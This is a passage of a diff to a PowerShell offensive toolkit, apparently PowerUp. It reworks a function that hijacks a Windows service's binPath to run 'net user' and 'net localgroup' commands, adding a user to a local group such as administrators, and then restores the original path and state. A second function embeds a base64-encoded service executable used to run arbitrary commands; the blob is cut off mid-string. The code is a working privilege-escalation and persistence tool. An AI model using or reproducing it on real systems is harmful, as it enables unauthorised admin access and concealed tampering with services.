- $ServiceAbused = $TargetService.Name
- $UserAdded = $Null
- $PasswordAdded = $Null
- $GroupnameAdded = $Null
+ else {
+ if($PSBoundParameters['Credential']) {
+ $UserNameToAdd = $Credential.UserName
+ $PasswordToAdd = $Credential.GetNetworkCredential().Password
+ }
+ else {
+ $UserNameToAdd = $UserName
+ $PasswordToAdd = $Password
+ }
- try {
- # check if sc.exe exists
- if (-not (Test-Path ("$Env:SystemRoot\System32\sc.exe"))){
- throw "Could not find $Env:SystemRoot\System32\sc.exe"
- }
+ if($UserNameToAdd.Contains('\')) {
+ # only adding a domain user to the local group, no user creation
+ $ServiceCommands = @("net localgroup $LocalGroup $UserName /add")
+ }
+ else {
+ # create a local user and add it to the local specified group
+ $ServiceCommands = @("net user $UserName $Password /add", "net localgroup $LocalGroup $UserName /add")
+ }
+ }
+ }
- # try to enable the service it was disabled
- $RestoreDisabled = $False
- if ($TargetService.StartMode -eq "Disabled") {
- Write-Verbose "Service '$ServiceName' disabled, enabling..."
- if(-not $(Invoke-ServiceEnable -ServiceName $ServiceName)) {
- throw "Error in enabling disabled service."
- }
- $RestoreDisabled = $True
- }
+ PROCESS {
- # extract the original path and state so we can restore it later
- $OriginalPath = $TargetService.PathName
- $OriginalState = $TargetService.State
- Write-Verbose "Service '$ServiceName' original path: '$OriginalPath'"
- Write-Verbose "Service '$ServiceName' original state: '$OriginalState'"
+ if($PSBoundParameters['Service']) {
+ $TargetService = $Service
+ }
+ else {
+ $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop
+ }
- $Commands = @()
+ $ServiceDetails = Get-ServiceDetail -Service $TargetService
- if($Command) {
- # only executing a custom command
- $Commands += $Command
- }
- elseif($UserName.Contains("\")) {
- # adding a domain user to the local group, no creation
- $Commands += "net localgroup $LocalGroup $UserName /add"
- }
- else {
- # creating a local user and adding to the local group
- $Commands += "net user $UserName $Password /add"
- $Commands += "net localgroup $LocalGroup $UserName /add"
- }
+ $RestoreDisabled = $False
+ if ($ServiceDetails.StartMode -match 'Disabled') {
+ Write-Verbose "Service '$ServiceName' disabled, enabling..."
+ $TargetService | Set-Service -StartupType Manual -ErrorAction Stop
+ $RestoreDisabled = $True
+ }
- foreach($Cmd in $Commands) {
- if(-not $(Invoke-ServiceStop -ServiceName $TargetService.Name)) {
- throw "Error in stopping service."
- }
+ $OriginalServicePath = $ServiceDetails.PathName
+ $OriginalServiceState = $ServiceDetails.State
- Write-Verbose "Executing command '$Cmd'"
+ Write-Verbose "Service '$($TargetService.Name)' original path: '$OriginalServicePath'"
+ Write-Verbose "Service '$($TargetService.Name)' original state: '$OriginalServiceState'"
- $Result = sc.exe config $($TargetService.Name) binPath= $Cmd
- if ($Result -contains "Access is denied."){
- throw "Access to service $($TargetService.Name) denied"
- }
+ ForEach($ServiceCommand in $ServiceCommands) {
- $Null = Invoke-ServiceStart -ServiceName $TargetService.Name
- }
-
- # cleanup and restore the original binary path
- Write-Verbose "Restoring original path to service '$ServiceName'"
- $Null = sc.exe config $($TargetService.Name) binPath= $OriginalPath
-
- # try to restore the service to whatever state it was
- if($RestoreDisabled) {
- Write-Verbose "Re-disabling service '$ServiceName'"
- $Result = sc.exe config $($TargetService.Name) start= disabled
- }
- elseif($OriginalState -eq "Paused") {
- Write-Verbose "Starting and then pausing service '$ServiceName'"
- $Null = Invoke-ServiceStart -ServiceName $TargetService.Name
- $Null = sc.exe pause $($TargetService.Name)
- }
- elseif($OriginalState -eq "Stopped") {
- Write-Verbose "Leaving service '$ServiceName' in stopped state"
- }
- else {
- $Null = Invoke-ServiceStart -ServiceName $TargetService.Name
- }
+ if($PSBoundParameters['Force']) {
+ $TargetService | Stop-Service -Force -ErrorAction Stop
}
- catch {
- Write-Warning "Error while modifying service '$ServiceName': $_"
- $Commands = @("Error while modifying service '$ServiceName': $_")
+ else {
+ $TargetService | Stop-Service -ErrorAction Stop
}
+
+ Write-Verbose "Executing command '$ServiceCommand'"
+
+ $Success = Set-ServiceBinPath -Service $TargetService -binPath "$ServiceCommand"
+
+ if (-not $Success) {
+ throw "Error reconfiguring the binPath for $($TargetService.Name)"
+ }
+
+ $TargetService | Start-Service -ErrorAction SilentlyContinue
}
+ if($PSBoundParameters['Force']) {
+ $TargetService | Stop-Service -Force -ErrorAction Stop
+ }
else {
- Write-Warning "Target service '$ServiceName' not found on the machine"
- $Commands = "Not found"
+ $TargetService | Stop-Service -ErrorAction Stop
+ }
+
+ Write-Verbose "Restoring original path to service '$($TargetService.Name)'"
+
+ $Success = Set-ServiceBinPath -Service $TargetService -binPath "$OriginalServicePath"
+
+ if (-not $Success) {
+ throw "Error restoring the original binPath for $($TargetService.Name)"
+ }
+
+ # try to restore the service to whatever the service's original state was
+ if($RestoreDisabled) {
+ Write-Verbose "Re-disabling service '$($TargetService.Name)'"
+ $TargetService | Set-Service -StartupType Disabled -ErrorAction Stop
+ }
+ elseif($OriginalServiceState -eq "Paused") {
+ Write-Verbose "Starting and then pausing service '$($TargetService.Name)'"
+ $TargetService | Start-Service
+ $TargetService | Set-Service -Status Paused -ErrorAction Stop
+ }
+ elseif($OriginalServiceState -eq "Stopped") {
+ Write-Verbose "Leaving service '$($TargetService.Name)' in stopped state"
+ }
+ else {
+ Write-Verbose "Restarting '$($TargetService.Name)'"
+ $TargetService | Start-Service
}
$Out = New-Object PSObject
- $Out | Add-Member Noteproperty 'ServiceAbused' $ServiceAbused
- $Out | Add-Member Noteproperty 'Command' $($Commands -join " && ")
+ $Out | Add-Member Noteproperty 'ServiceAbused' $TargetService.Name
+ $Out | Add-Member Noteproperty 'Command' $($ServiceCommands -join ' && ')
$Out
}
}
@@ -854,7 +1846,7 @@ function Write-ServiceBinary {
[CmdletBinding()]
Param(
- [Parameter(ValueFromPipeline=$True, Mandatory = $True)]
+ [Parameter(ValueFromPipeline = $True, Mandatory = $True)]
[String]
$ServiceName,
@@ -874,13 +1866,13 @@ function Write-ServiceBinary {
$Command
)
- begin {
+ BEGIN {
# the raw unpatched service binary
$B64Binary = "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UmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAElEaXNwb3NhYmxlAENvbnRhaW5lcgBTdHJpbmcAVHJpbQBzZXRfU2VydmljZU5hbWUAUHJvY2VzcwBTdGFydABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFbnZpcm9ubWVudABFeGl0AFJ1bgAARUEAQQBBACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAL/3LwBDACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAI